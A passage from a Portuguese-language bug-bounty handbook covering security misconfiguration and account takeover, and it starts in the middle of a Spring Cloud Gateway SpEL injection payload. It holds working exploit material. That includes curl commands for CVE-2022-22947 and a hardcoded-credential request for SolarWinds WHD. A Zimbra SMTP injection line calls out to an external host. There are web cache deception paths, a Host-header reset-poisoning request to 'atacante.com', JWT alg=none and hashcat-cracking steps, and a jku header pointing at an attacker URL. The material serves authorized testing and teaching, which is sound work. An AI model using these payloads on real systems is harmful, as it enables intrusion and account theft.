String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRu
String[]{\"id\"}).getInputStream()))}"
  }}],
  "uri":"http://example.com"}'

# 2) aplica (refresh) e dispara a rota; o header Result traz a saída de "id"
curl -s alvo.com/actuator/gateway/refresh -X POST
curl -si alvo.com/actuator/gateway/routes/hack | grep -i result
# Result: uid=0(root) gid=0(root) ...   <- RCE confirmado como root
```

> **Comando seguro de prova de conceito:** use `id`, `whoami` ou `hostname` — comandos **inofensivos** que provam execução sem causar dano. **Nunca** rode `rm`, abra reverse shell em alvo de bounty sem autorização explícita, nem leia dados além do necessário. A prova é "executei `id` e veio `uid=0`", não "destruí o servidor".

Outros 1-days reais pra ilustrar a *técnica* (cite sempre a CVE oficial):

CVE	Software (versões afetadas)	CVSS v3.1 (NVD)	Técnica (resumo)
CVE-2024-45519	Zimbra Collaboration: 8.8.15 < P46, 9 < P41, 10 < 10.0.9, 10.1 < 10.1.1	**9.8 Crítico** (`C:H/I:H/A:H`)	Command injection **via SMTP**: o `RCPT TO:` é passado pro `popen` do `postjournal` sem sanitizar. Payload usa `${IFS}` no lugar do espaço: `RCPT TO: <"a$(curl${IFS}oast.me)"@dominio>`. RCE não-autenticado. (ProjectDiscovery)
CVE-2024-28987	SolarWinds Web Help Desk ≤ 12.8.3 HF1	**9.1 Crítico** (`C:H/I:H/A:N`)	**Credenciais hardcoded** (`helpdeskIntegrationUser:dev-C4F8025E7`) → ler/alterar tickets. PoC: `curl -k -u 'helpdeskIntegrationUser:dev-C4F8025E7' https://alvo:8443/helpdesk/WebObjects/Helpdesk.woa/ra/OrionTickets/`. (Horizon3)
CVE-2022-25481	ThinkPHP 5.0.24 (sem `PATHINFO`)	**7.5 Alto** (`C:H/I:N/A:N`, *disputed*)	`index.php?s=example` vaza variáveis de ambiente (credenciais MySQL). Só confidencialidade.

> **Vuln vs. subsequent (lendo o impacto).** Repare na **forma** do impacto, não só no número: Zimbra é `C:H/I:H/A:H` (RCE = comprometa tudo no host), SolarWinds é `C:H/I:H/A:N` (lê **e** altera ticket), ThinkPHP é `C:H` puro (só lê dado). No CVSS **v4.0** essa distinção fica explícita nos eixos **sistema vulnerável** (`VC/VI/VA`) vs. **subsequente** (`SC/SI/SA`): nesses quatro casos o estrago é no próprio sistema afetado, sem impacto subsequente catalogado (`SC/SI/SA:N`). O **NVD ainda não publicou vetor v4.0** pra essas CVEs, então não cito número v4.0 oficial aqui — se precisar, jogue o vetor v3.1 equivalente na calculadora FIRST v4.0. O Zimbra, aliás, tem divergência conhecida de score: NVD pontua **9.8** (`S:U`) e o CNA pontua **10.0** (`S:C`).
>
> **Cuidado com falso positivo de scanner.** O **Nuclei** (scanner de templates da ProjectDiscovery — apresentado na Etapa 7 do Recon) é ótimo pra detectar versões e CVEs em massa, mas **nem todo achado é vulnerabilidade real**. Antes de reportar, **leia o template e entenda a CVE**: tem template que só confirma "a versão é X" sem que o impacto exista naquele contexto — e tem CVE de impacto baixo que parece grande no relatório (ex.: a CVE-2022-1595, no plugin *HC Custom WP-Admin URL* ≤ 1.4: um cookie `validloginslug=1` só faz o WordPress revelar a URL secreta de login — pouco

impacto sozinho). Reportar lixo de scanner queima sua reputação no programa. (Como traduzir esse achado em severidade defensável: Severidade, impacto e triagem.)

CWE (Common Weakness Enumeration): o *tipo* de falha (categoria). O **CVE** é a instância específica num software; o CWE é a classe dela.

ASLR (Address Space Layout Randomization): proteção do SO que embaralha endereços de memória. Desligada, facilita muito explorar buffer overflow.

Exemplo fresquíssimo (2026) — quando a versão não basta: "NGINX Rift" (CVE-2026-42945). Em maio/2026 a F5 divulgou um *heap buffer overflow* (CWE-122) no `ngx_http_rewrite_module` do **nginx** — um bug que viveu ~18 anos num servidor que responde por mais de 30% da web. **CVSS v3.1 8.1 Alto / v4.0 9.2 Crítico** (`AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H`), **sem autenticação**. O detalhe que importa pro caçador: **ter a versão afetada no header `Server` NÃO prova a falha.** Ela só dispara com uma config específica — uma diretiva `rewrite` seguida de `rewrite` / `if` / `set` , usando captura PCRE **não-nomeada** (`$1` , `$2`) e com `?` na string de substituição (aí o re-escape de args expande `+` → `%2B` e estoura o buffer do *worker*). Em blackbox você confirma a *versão*, não a *config* → trate como **candidato a whitebox**, não vuln confirmada. E o impacto **confiável** é **DoS** (crash do worker); RCE só com ASLR desabilitado/contornável. Como DoS quase sempre é **fora de escopo**, reporte a *versão + config vulnerável* como evidência — **não fique derrubando worker em produção**. Afetadas: nginx OSS **0.6.27–1.30.0** e Plus **R32–R36**; corrigido em **1.30.1** (stable) e **1.31.0** (mainline) — Plus em R32 P6 / R36 P4 — ou troque `$1` / `$2` por **captura nomeada** `(?<nome>...)` . Fontes: advisory F5 K000161019, NVD, análise do descobridor (depthfirst) e uma explicação detalhada em PT-BR.

Bônus — Web Cache Deception (o cache guardando dado de outro)

Nem toda misconfiguration está no servidor de origem — às vezes está na **camada de cache** (CDN / reverse proxy) na frente dele. **Web Cache Deception (WCD)** engana o cache pra ele **armazenar uma resposta autenticada e sensível** (de uma vítima) como se fosse um arquivo estático público; depois o atacante, **sem login**, pede a mesma URL e recebe os dados da vítima. (Não confunda com **Web Cache Poisoning**: lá o atacante manipula a *chave de cache* pra servir um payload malicioso a **outros** usuários; aqui ele **lê** a resposta de outro — é um ataque de **confidencialidade**.)

A raiz é uma **discordância de parser**: o **cache** decide guardar olhando a URL/extensão ("terminou em `.css` ? é estático, cacheia"), enquanto o **origin** ignora o sufixo e devolve o conteúdo dinâmico autenticado. Três classes de payload pra testar (sempre na **sua própria conta de teste**, com um *cache buster* pra nunca cachear dado de gente real):

```
1) Extensão:     /minha-conta/wcd.css          # origin ignora o sufixo; cache vê .css e guarda
2) Delimitador:  /minha-conta;wcd.js           # origin corta no ';'; cache não → cacheia como .js
```

```
3) Normalização: /static/..%2fminha-conta?wcd  # origin resolve → /minha-conta; cache
vê o prefixo /static
```

Detecção: procure headers de cache (`X-Cache: hit/miss` , `CF-Cache-Status` , `Age`) e confirme a transição `MISS` → `HIT` servindo o conteúdo da vítima sem cookie. Se a resposta cacheada traz **token de sessão/CSRF ou API key**, escala pra **account takeover** (aí vira Alto/Crítico). **Defesa:** cachear por `Content-Type` (nunca por extensão), respeitar `Cache-Control: no-store, private` no conteúdo dinâmico, normalização consistente entre cache e origin, e proteções de CDN (ex.: Cloudflare *Cache Deception Armor*). Aprofunde nos labs da PortSwigger.

Caso real-fictício: de "versão exposta" a RCE

> Cenário **fictício, baseado em padrões reais** de bug bounty (anonimizado).

Você está testando `app.exemplo.com` . No recon, o **Wappalyzer** acusa um gateway Spring, e o `ffuf` com a leaky-paths acha:

```
ffuf -w leaky-paths.txt -t 20 -u https://app.exemplo.com/FUZZ -mc 200
# ...
# actuator/gateway/routes   [Status: 200]   # <- Actuator aberto. Cheiro de CVE.
```

Passo 1 — Fingerprint da versão. O `/actuator/info` e o header confirmam Spring Cloud Gateway numa faixa vulnerável (< 3.1.1 / < 3.0.7).

Passo 2 — Mapear a CVE. Busca no NVD → **CVE-2022-22947** (SpEL injection → RCE). Leio o PoC público inteiro pra entender cada parâmetro **antes** de tocar no alvo.

Passo 3 — Provar com comando inofensivo. Aplico o payload com o comando `id` (e só ele):

```
HTTP/2 200 OK
Result: uid=0(root) gid=0(root) groups=0(root)   # <- saída do "id" refletida no header
```

`uid=0(root)` = execução de comando como **root**. RCE confirmado, sem causar dano.

O que a tela do Burp mostraria: painel Request/Response; na Response, o header `Result` destacado em vermelho com `uid=0(root)` , provando a execução. Nada de reverse shell, nada de tocar em dado de cliente.

Passo 4 — Report. Título `[RCE] - Execução remota de comandos via SpEL injection no Spring Cloud Gateway (CVE-2022-22947)` . No resumo: a versão exposta, o link da CVE, o passo a passo, e a prova com `id` . Severidade **Crítica** (CVSS v3.1 10.0 / v4.0 9.3). Recomendação clara: atualizar pra

≥ 3.1.1/3.0.7 **ou** desabilitar/proteger o endpoint do Actuator. (Veja Como escrever um report que paga.)

Defesa em camadas

Misconfiguration não se resolve com um patch só — é **processo de hardening**. O OWASP é direto: ambiente repetível e mínimo, revisão de configs, e verificação automatizada.

1. Não exponha o que não precisa (e bloqueie no servidor). `.git`, backups e debug não deveriam estar no webroot — e mesmo que estejam, o servidor nega:

```
# Nginx — bloqueia dotfiles e backups
location ~ /\.(git|env|svn|ht) { deny all; return 404; }
location ~* \.(bak|save|old|orig|swp|sql|zip|tar|rar)$ { deny all; return 404; }
```

```
# Apache — equivalente
<FilesMatch "(^\.|\.(bak|save|old|orig|swp|sql)$)">
    Require all denied
</FilesMatch>
```

2. Debug e erros: nunca verbose em produção.

```
// PHP — produção esconde o erro do usuário e loga internamente
ini_set('display_errors', '0');     // <- usuário nunca vê stack trace
ini_set('log_errors', '1');
error_reporting(E_ALL);             // logar tudo, mostrar nada
```

Em Spring/Django/Rails, garanta `debug=false` / `APP_ENV=production`. Desabilite endpoints de profiler (`management.endpoint.gateway.enabled: false` no Spring) e proteja o Actuator com Spring Security.

3. Headers de segurança — mande as diretivas pro cliente.

```
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
add_header X-Frame-Options "DENY" always;
add_header X-Content-Type-Options "nosniff" always;
add_header Content-Security-Policy "default-src 'self'" always;
```

4. CORS — valide a origem contra uma allowlist, nunca reflita cego.

```
// Node/Express — só origens conhecidas, e nada de credenciais com "*"
const ALLOW = new Set(['https://app.exemplo.com', 'https://admin.exemplo.com']);
app.use((req, res, next) => {
  const o = req.headers.origin;
  if (ALLOW.has(o)) {                              // <- checa a allowlist
    res.setHeader('Access-Control-Allow-Origin', o);
    res.setHeader('Access-Control-Allow-Credentials', 'true');
  }
```

```
  next();
});
```

5. Credenciais default e versões. Troque **toda** senha de fábrica, remova contas de exemplo, e tenha um **processo de patch**: rodar um software desatualizado é a misconfig de manutenção que vira CVE. Use SCA/dependabot e um scanner (Nuclei) **internamente** pra se achar antes do atacante.

> **O que NÃO basta:** esconder o `.git` "tirando o link" (ele continua acessível por path), confiar que "ninguém vai adivinhar o `backup.zip`", deixar o Actuator aberto "só na rede interna" (que vaza), ou achar que CORS `*` sem credenciais é sempre seguro (é, até alguém combinar com outro bug).

Ferramentas + labs legais

- `ffuf` — fuzzing de paths/arquivos sensíveis (github).
- `git-dumper` — dump de `.git` exposto (github). Extensão **DotGit** pra detectar no navegador.
- `httpx` / **WhatWeb** / **Wappalyzer** — fingerprint de tecnologia e versão.
- **Shodan** + `mmh3` — fingerprint por favicon hash em escala.
- **Nuclei** (github) — templates de CVE/misconfig (leia o template antes de reportar!).
- **Fontes de CVE:** NVD, MITRE CVE, exploit-db.
- **Labs autorizados:** PortSwigger Web Security Academy (CORS, information disclosure), TryHackMe, HackTheBox, e VMs vulneráveis do Vulnhub pra praticar CVE/1-day com segurança.

Checklist do caçador

- [ ] Fuzzing de leaky-paths (`.git` , `.env` , backups, `/debug` , `/actuator`).
- [ ] Confirmei e **dumpei** qualquer `.git` exposto; grepei por credenciais.
- [ ] Procurei arquivos de backup (`.save` , `.bak` , `~` , `.zip` , `.rar`).
- [ ] Testei headers de segurança ausentes e **CORS** com `Origin` custom.
- [ ] Provoquei erro pra ver se vaza **stack trace / dado de outro cliente**.
- [ ] **Fingerprint** da tecnologia **e versão** (header, rodapé, Wappalyzer, favicon hash).
- [ ] Cruzei a versão com **CVE pública** no NVD/exploit-db.
- [ ] **Li o PoC inteiro** e entendi cada parâmetro antes de tocar no alvo.
- [ ] Provei com comando **inofensivo** (`id` / `whoami`), sem dano nem dado de terceiro.
- [ ] Validei achado de scanner (Nuclei) **manualmente** antes de reportar.

Pegadinhas / o que NÃO funciona

- **"Achei `.git` , mando o report e pronto."** Não. Faça o **dump** e mostre *o que vazou* (credencial, código). `.git` vazio ou com info inútil pode virar "Médio" ou ser fechado.

- **Reportar header faltando como crítico.** Header de segurança ausente sozinho é, na maioria, **informativo/baixo**. Mostre o **impacto encadeado** (ex.: falta de `X-Frame-Options` + ação sensível = clickjacking real).
- **Confiar 100% no Nuclei.** Template que só detecta versão ≠ vulnerabilidade explorável. Entenda a CVE.
- **Rodar PoC de RCE às cegas.** Você pode derrubar o serviço, executar algo destrutivo ou estourar o escopo. Leia o exploit, use comando inofensivo.
- **Secret de build em JS achar que é segredo.** `VUE_APP_*`, `pk_live_` do Stripe, sitekey de reCAPTCHA são **públicos por design**. Valide se o que você achou é realmente sensível (use o KeyHacks) antes de reportar.

O que você precisa lembrar

- **Misconfiguration = porta deixada aberta.** O servidor entrega o que não devia: arquivo, erro, header ou versão.
- **A cadeia é o ouro:** versão exposta → CVE → PoC → RCE. Sozinho, cada elo vale pouco; juntos, valem crítico.
- **Recon e leitura ganham de payload.** Quem fuzza paths, faz fingerprint certo e lê o PoC com calma acha o que scanner cego não acha.

> **Dica de ouro:** sempre que identificar **qual software e qual versão** o alvo roda, pare e pergunte "existe CVE pública pra essa versão?". Metade da caça a 1-day é só **fingerprint preciso + paciência pra ler o PoC**. A outra metade é a **disciplina** de provar com `id` e parar por aí.

Nota ética

Tudo aqui é pra **testes autorizados** — bug bounty dentro do escopo, pentests contratados e labs legais. Dumpar `.git` de terceiros, usar credencial default em sistema alheio ou rodar PoC de RCE sem autorização é crime, e ainda por cima é desnecessário quando existe lab bom de sobra. Ao provar uma CVE, use o **comando mais inofensivo possível**, não toque em dado de cliente, e reporte com responsabilidade — incluindo a recomendação de correção. A graça é proteger, não quebrar.

Referências

- OWASP A05:2021 — Security Misconfiguration
- PortSwigger — CORS e Information disclosure
- NVD — National Vulnerability Database · MITRE CVE · exploit-db
- CVE-2022-22947 — Spring Cloud Gateway (oficial) · PoC
- CVE-2024-45519 — Zimbra RCE (ProjectDiscovery)
- CVE-2024-28987 — SolarWinds WHD (Horizon3)
- git-dumper · Shodan — Deep Dive: http.favicon

Account Takeover (ATO): assumindo qualquer conta

A chave-mestra do prédio

Imagina um prédio onde cada apartamento tem uma fechadura. **Account Takeover (ATO)** é quando o atacante consegue uma chave que abre o **seu** apartamento — sem ser você. Às vezes ele copia a chave do porteiro (sequestra a sessão), às vezes ele descobre que o segredo da fechadura é fraco e fabrica uma cópia (forja o token), e às vezes ele simplesmente liga pro síndico, dá o número do seu apartamento e o síndico troca a fechadura no lugar (reset de senha inseguro).

O resultado é sempre o mesmo: alguém **entra como você**. Lê suas mensagens, vê seu CPF, muda sua senha, faz transações. Por isso ATO é uma das classes que **mais paga** em bug bounty — um ATO bem demonstrado vai de algumas centenas a **dezenas de milhares de reais**, porque o impacto é total e fácil de explicar pro programa.

Esse capítulo é um mapa dos vetores de ATO, do básico (reset de senha) ao avançado (algorithm confusion em JWT). É a continuação natural do capítulo de Broken Access Control: lá vimos como acessar **um objeto** de outra pessoa; aqui vamos um passo além e assumimos a **conta inteira**.

O que é Account Takeover?

ATO não é uma vulnerabilidade única — é um **resultado**. Várias falhas diferentes levam ao mesmo lugar: o atacante passa a operar como se fosse a vítima. O elo comum é a quebra de **autenticação** ou de **gestão de sessão/identidade**.

> **Lembre da dupla: autenticação** responde "*quem é você?*"; **autorização** responde "*você pode fazer isso?*". ATO costuma quebrar a **autenticação** — a aplicação passa a acreditar que você é outra pessoa. (Quando ela acredita certo em quem você é, mas erra no "pode fazer isso", aí é Broken Access Control — o tema do capítulo dedicado.)

Isso cai no OWASP A07:2021 — Identification and Authentication Failures (o antigo "Broken Authentication"). Os culpados clássicos que o próprio OWASP lista: processos de **recuperação de senha** fracos, **brute force** sem rate limit, **tokens de sessão na URL** e **falta de MFA**.

A definição prática que você leva pro campo: **se eu consigo provar pra aplicação que sou outro usuário, sem saber a senha dele, é ATO.**

Por que isso importa (e quanto paga)

O impacto de ATO é o mais direto que existe — não precisa de chaining nem de imaginação:

- **Acesso total à conta da vítima**: ler PII (nome, CPF, telefone, endereço), histórico, mensagens.
- **Lock-out**: ao trocar a senha da vítima, você a **expulsa da própria conta** (negação de serviço pra ela).
- **Escala**: se o vetor é um JWT forjável ou um reset que aceita qualquer usuário, você não toma **uma** conta — toma **qualquer** uma. Isso muda a severidade de "Alto" pra "Crítico".
- **Pivô**: tomar a conta de um admin abre BFLA, acesso a painéis internos, etc. ATO também é o **destino** de várias chains — XSS que rouba o JWT, open redirect que vaza o `code` OAuth (veja Chaining de vulnerabilidades).

Em programas reais, ATO costuma pagar de **R$800** (um refresh token mal validado) a **R$5.000+** (reset de senha sem autenticação que afeta qualquer usuário). Quanto mais contas o vetor afeta e quanto mais sensível o dado, mais alto o pagamento.

> **Severidade = impacto × escala.** "Tomei minha própria conta de um jeito esquisito" não é report. "Qualquer atacante toma a conta de qualquer usuário" é crítico. Demonstre a escala.
>
> **Calibrando o CVSS (v3.1 e v4.0).** Dois detalhes mudam tudo no score: **(a) precisa estar logado?** e **(b) afeta qualquer conta?** - **Sem login, qualquer conta** (reset sem autenticação, JWT forjável por anônimo): `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N` = **9.1 (Crítico)** · `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N` = **9.3 (Crítico)**. Conta o lock-out como `A:H` / `VA:H` e o v3.1 sobe pra **9.8**. - **Logado** (você usa sua conta pra obter/forjar o token — `PR:L`): `CVSS:3.1/.../PR:L/...` = **8.1 (Alto)** · `CVSS:4.0/.../PR:L/...` = **8.6 (Alto)**. A escala é total, mas exigir um login válido baixa o vetor de Crítico pra Alto — anote isso no report pra não inflar o score.

Como funciona por trás

Quase todo ATO mora em um destes quatro pontos do ciclo de vida da identidade:

1. **Criação/recuperação de credencial** — o fluxo de **reset de senha**. Se o token de reset é previsível, não expira, ou o **alvo do reset** é controlável pelo cliente, dá ATO.
2. **Emissão de token** — login, **refresh token**, troca de token. Se a aplicação emite um token de sessão a partir de um dado controlável (e-mail/token de outra conta), dá ATO.
3. **Validação de token** — **JWT**. Se a assinatura não é verificada de verdade (alg=none, segredo fraco, confusão de algoritmo), você forja um token de quem quiser.

> **JWT**: token em 3 partes `header.payload.signature` (Base64URL — só formato, não criptografia, qualquer um lê). A `signature` é o que impede edição. Anatomia completa no Vetor 3; base no Glossário.

1. **Federação/segundo fator** — **OAuth** e **2FA/OTP**. Se o `state` falta, se o `redirect_uri` vaza o código, se o OTP não tem rate limit ou a validação é client-side, você contorna o fator extra.

Vamos passar por cada um. A espinha dorsal é sempre a mesma pergunta: **"qual dado dessa request o servidor usa pra decidir quem eu sou — e eu consigo mexer nesse dado?"**

Tipos e variações

> **HS256 / RS256 / ES256**: algoritmos de assinatura de JWT. HS256 é simétrico (segredo compartilhado); RS256/ES256 são assimétricos (par de chaves privada/pública).
>
> **HMAC** (Hash-based Message Authentication Code): assina dados com um segredo. Se o segredo for fraco (dicionário), dá pra quebrar offline (ex.: hashcat).

Vetor	Falha central	Resultado
Reset de senha inseguro	Token previsível / sem expiração / alvo controlável / Host header injection	Resetar a senha de qualquer um
Refresh / troca de token	Emite JWT a partir de dado de outra conta sem checar propriedade	Sessão válida da vítima
JWT — alg=none	Servidor aceita token sem assinatura	Forjar qualquer claim
JWT — segredo fraco (HS256)	HMAC com segredo crackável	Forjar tokens válidos
JWT — algorithm confusion (RS256→HS256)	Chave pública usada como segredo HMAC	Forjar tokens com a chave pública
JWT — kid / jku / jwk injection	Servidor confia no header pra escolher a chave	Apontar pra chave que o atacante controla
OAuth — state ausente	Sem CSRF token no fluxo	Forçar vínculo de conta (login CSRF)
OAuth — redirect_uri / Referer leak	Código/token vaza pra domínio do atacante	Roubar o código de autorização
2FA/OTP bypass	Response manipulável / sem rate limit / reuso de código	Pular o segundo fator

Recon — como encontrar

Antes de explorar, **mapeie a superfície de identidade** do alvo. Onde os vetores de ATO se escondem:

- **Fluxo de senha**: telas de "esqueci a senha", "alterar senha", links de reset no e-mail. Capture **cada parâmetro** da request (login, e-mail, `user_id`, `token`, `code`).
- **Tokens**: abra o **DevTools → Application → Local Storage / Cookies** e procure por algo que comece com `eyJ` (é Base64URL de `{"` — quase sempre um **JWT**). Veja também o header `Authorization: Bearer`.
- **Endpoints de chave**: tente `/.well-known/jwks.json` e `/jwks.json` — eles entregam a **chave pública** que vamos usar no ataque de algorithm confusion.
- **OAuth**: procure `response_type=code`, `client_id`, `redirect_uri`, `state` nas URLs de "login com Google/GitHub/etc.".
- **Os arquivos JS** entregam rotas de API, nomes de parâmetros e às vezes até segredos. Vale ler cada um (técnica detalhada no capítulo 01 — Recon).

Ferramentas que aparecem aqui:

- **jwt.io** — cola o token e ele decodifica `header.payload.signature` num clique. Ótimo pra inspecionar sem instalar nada.
- **Burp Suite** — Repeater (refazer requests trocando dados), Intruder (brute force de OTP/IDs) e a extensão **JWT Editor** (assina e forja JWT com um clique, indispensável pros ataques avançados).
- **jwt_tool** (ticarpi/jwt_tool) — canivete suíço de JWT em linha de comando: testa alg=none, confusão de algoritmo, etc.
- **hashcat** — pra crackear o segredo HMAC (modo `-m 16500`, que cobre **HS256**; pra HS384/HS512 use o `jwt_tool`).

> **Regra de ouro:** trabalhe **sempre com 2 contas** (Conta A = você/atacante, Conta B = vítima). Quase todo PoC de ATO é "com a Conta A, consegui virar a Conta B". Sem a segunda conta, você não tem como provar o impacto.

Exploração passo a passo (do básico ao avançado)

Vetor 1 — Reset de senha inseguro

O fluxo de reset é o ponto mais atacado porque, por definição, ele **muda a credencial sem o atacante saber a antiga**. Quatro sub-vetores:

1a. Alvo do reset controlável (o IDOR do reset). Em uma área logada, a request de "alterar senha" carrega **quem** está tendo a senha trocada. Se esse campo vier do cliente e o servidor não fixar na sessão, troque-o:

```
POST /autenticacao/api/v1/alterar-senha HTTP/2
Host: alvo.com
Content-Type: application/json
Cookie: session=<sua_sessao_ContaA>

{"usuario":"vitima_contaB","novaSenha":"Senha123!","confirmaSenha":"Senha123!"}
# <- "usuario" deveria ser fixo na sessão; se aceitar outro login, é ATO
```

Se a senha de `vitima_contaB` muda, você acabou de assumir a conta dela. (Esse é literalmente o IDOR aplicado ao fluxo de credencial — leia o capítulo de Broken Access Control pra fundamentar o porquê.)

1b. Reset que devolve a senha (ou não exige autenticação). Pior cenário: o endpoint de reset responde com a nova senha no corpo, ou nem pede sessão:

```
POST /autenticacao/api/v1/resetar-senha HTTP/2
Host: alvo.com
Content-Type: application/json

{"usuario":"vitima_contaB","novaSenha":"Nova@123","confirmarSenha":"Nova@123","resetarSenl
```

```
HTTP/2 200 OK
Content-Type: application/json

{"message":"Senha redefinida com sucesso"}   # <- algumas APIs até devolvem a senha
aqui
```

Sem autenticação + usuário enumerável = ATO de **qualquer** conta. Severidade crítica (`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N` = **9.1**; `CVSS:4.0/...PR:N...` = **9.3**) — e o `PR:N` aqui (anônimo) é o que separa este caso do JWT do Vetor 3, que exige login.

1c. Host header injection no link de reset. O servidor monta o link do e-mail usando o header `Host` da request. Se você controla o `Host`, o link aponta pro seu domínio — e quando a vítima clica, o **token de reset** vaza pro seu servidor via a própria URL:

```
POST /esqueci-senha HTTP/2
Host: atacante.com          # <- o app usa este Host pra montar o link do e-mail
Content-Type: application/x-www-form-urlencoded

email=vitima@exemplo.com
```

A vítima recebe um e-mail "legítimo" com `https://atacante.com/reset?token=ABC...`. Ao clicar, o token cai no seu log. Variante: header `X-Forwarded-Host: atacante.com`.

1d. Token de reset previsível ou eterno. Verifique o token: é sequencial? Curto? Baseado em timestamp? **Expira? Invalida** após o uso? Um token que não expira pode ser reusado meses depois; um previsível pode ser adivinhado. Gere dois resets seguidos e compare os tokens — se houver padrão, é explorável.

Vetor 2 — Refresh token / troca de token entre contas

Tokens de sessão expiram; o **refresh token** os renova sem novo login. A falha clássica: o endpoint de refresh **emite um JWT novo a partir de um identificador que veio no corpo**, sem checar se aquele identificador é seu.

```
POST /api/auth/refresh HTTP/2
Host: alvo.com
Content-Type: application/json

{"token":"vitima@exemplo.com"}   # <- aqui deveria ir SEU refresh token; trocamos pelo
e-mail da vítima
```

```
HTTP/2 200 OK
Content-Type: application/json

{"Success":true,"Result":
{"jwt":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidml0aW1hQGV4ZW1wbG8uY29tIn0....",
# <- o servidor devolveu um JWT VÁLIDO da vítima
```

Pegue esse `jwt`, coloque no header `Authorization: Bearer ...` e você está logado como a vítima. A raiz é a mesma do IDOR: **o servidor confiou num identificador do cliente sem checar propriedade.**

Vetor 3 — JWT (JSON Web Token)

JWT é o formato de token mais comum em APIs modernas. Entender a anatomia é o que separa quem "acha um eyJ" de quem **forja** um.

Anatomia: `header.payload.signature` — três blocos Base64URL separados por ponto:

```
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 .
eyJ1c2VySWQiOjEwMDEsImFkbWluIjpmYWxzZSwiaWF0IjoxNzE3MDAwMDAwLCJleHAiOjE3MTcwMDM2MDB9 .
4pcPyMD0...
└──────── header ────────┘   └──────────────────────────────── payload
─────────────────────────────┘   └─ signature ─┘
```

Decodificando os dois primeiros (Base64URL → JSON):

```
// header — diz QUAL algoritmo assina o token
{"alg":"HS256","typ":"JWT"}

// payload — as "claims" (afirmações sobre quem você é)
{"userId":1001,"admin":false,"iat":1717000000,"exp":1717003600}
```

Ponto-chave: **o header e o payload são só Base64, qualquer um lê e edita.** A **assinatura** é o que impede você de mudar `"admin":false` pra `"admin":true`. Toda a segurança do JWT está em **a assinatura ser verificada corretamente**. Os ataques abaixo atacam exatamente essa verificação.

> **Analogia:** o JWT é um cheque. Header e payload são o valor e o nome — escritos a caneta, qualquer um lê. A assinatura é a firma do banco. Falsificar o cheque é falsificar a firma. Os ataques a seguir são quatro jeitos de falsificar a firma (ou fazer o banco nem conferir).

3a. `alg=none` — o cheque sem firma. A especificação do JWT prevê `"alg":"none"` (token "não seguro", sem assinatura). Servidores deveriam rejeitar — mas muitos não. Você troca o algoritmo pra `none`, edita o payload e **remove a assinatura** (mantendo o ponto final):

```
{"alg":"none","typ":"JWT"}
{"userId":1001,"admin":true}   // <- forjamos admin
```

```
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VySWQiOjEwMDEsImFkbWluIjp0cnVlfQ.
                                                                          ↑
assinatura vazia, mas o "." continua
```

Se o servidor aceitar, ele confiou num cheque sem firma. Variantes de bypass quando o filtro é ingênuo: `None`, `nOnE`, `NONE` (capitalização mista).

3b. Segredo fraco em HS256 — crackeando a firma com hashcat. HS256 assina com HMAC-SHA256 usando um **segredo compartilhado**. Se esse segredo for fraco (`secret`, `123456`, `changeme`), você o quebra offline e passa a assinar tokens válidos. Salve o JWT num arquivo e rode:

```
# -m 16500 é o modo "JWT" do hashcat; -a 0 é ataque por wordlist
hashcat -a 0 -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
```

O hashcat re-assina header+payload com cada palavra da wordlist e compara com a assinatura original. Quando bate, ele imprime `<jwt>:<segredo>`. Há até wordlists dedicadas a segredos de JWT (wallarm/jwt-secrets). Com o segredo em mãos, edite o payload (`userId` da vítima) e re-assine — no Burp **JWT Editor** ou no jwt.io, colando o segredo no campo *VERIFY SIGNATURE*. Bônus de impacto: forjar um `exp` distante = **sessão praticamente infinita**.

3c. Algorithm confusion (RS256 → HS256) — usando a chave pública como segredo. Esse é o pulo do gato. Em **RS256** o token é assinado com a chave **privada** (só o servidor tem) e verificado com a **pública** (pode ser pública mesmo). Parece seguro — e é, *se o servidor só aceitar RS256*.

O bug: muitas libs têm um `verify()` genérico que escolhe o algoritmo **pelo header do token**. Se o servidor guarda a chave pública pra verificar RS256, mas você manda um token com `alg:HS256`, a lib usa a **mesma chave pública como segredo HMAC**. E a chave pública... é pública! Você a tem. Então você assina o token em HS256 usando a chave pública como segredo, e o servidor verifica com a mesma chave pública. **Bate.** (Pré-condição: a app entrega a chave pública ao `verify()` como **string/PEM** — a mesma forma

que vira segredo HMAC; libs que tipam a chave como objeto/`KeyObject`, ou que travam o algoritmo aceito, não caem nisso.)

Passo a passo (com Burp JWT Editor, conforme a PortSwigger Academy):

1. **Obtenha a chave pública.** Geralmente em `/.well-known/jwks.json` ou `/jwks.json` (formato JWK). Se não estiver exposta, dá pra **derivar** o módulo RSA a partir de dois tokens assinados (ferramenta `jwt_forgery.py` do repo rsa_sign2n; a PortSwigger empacotou numa imagem: `docker run --rm -it portswigger/sig2n <token1> <token2>`). A saída traz a chave pública em Base64 (X.509 e PKCS1) já com tokens forjados de teste.
2. **Converta o JWK pra X.509 PEM** (a aba *JWK → PEM* do JWT Editor faz isso).
3. **Base64-encode o PEM inteiro** (no Decoder do Burp).
4. **Crie uma chave simétrica nova** no JWT Editor e substitua o parâmetro `k` por esse Base64 do PEM.
5. **Edite o token**: `alg` → `HS256`, mude as claims (`userId` / `admin`), e **assine** com essa chave.

> **O detalhe que faz 90% das pessoas falharem:** a versão da chave pública que você usa pra assinar tem que ser **byte a byte idêntica** à que o servidor guarda — mesmo formato (X.509 PEM) e **inclusive os `\n` (newlines) e caracteres não-imprimíveis**. Um newline a mais ou a menos e a assinatura não bate. Não é "mais ou menos igual" — é **idêntica**.

3d. `kid` / `jku` / `jwk` injection — apontando pra chave que você controla. O header do JWT pode trazer parâmetros que dizem **qual chave** verificar a assinatura. Se o servidor confia neles cegamente:

- `jwk`: você embute sua **própria** chave pública dentro do header e assina com a sua privada. Se o servidor verificar com a chave que veio no header, sempre bate. `json {"alg":"RS256","jwk":{"kty":"RSA","e":"AQAB","n":"<SUA_chave_publica>"}}`
- `jku`: aponta pra um JWK Set **na sua URL**. `json {"alg":"RS256","jku":"https://atacante.com/jwks.json"}`
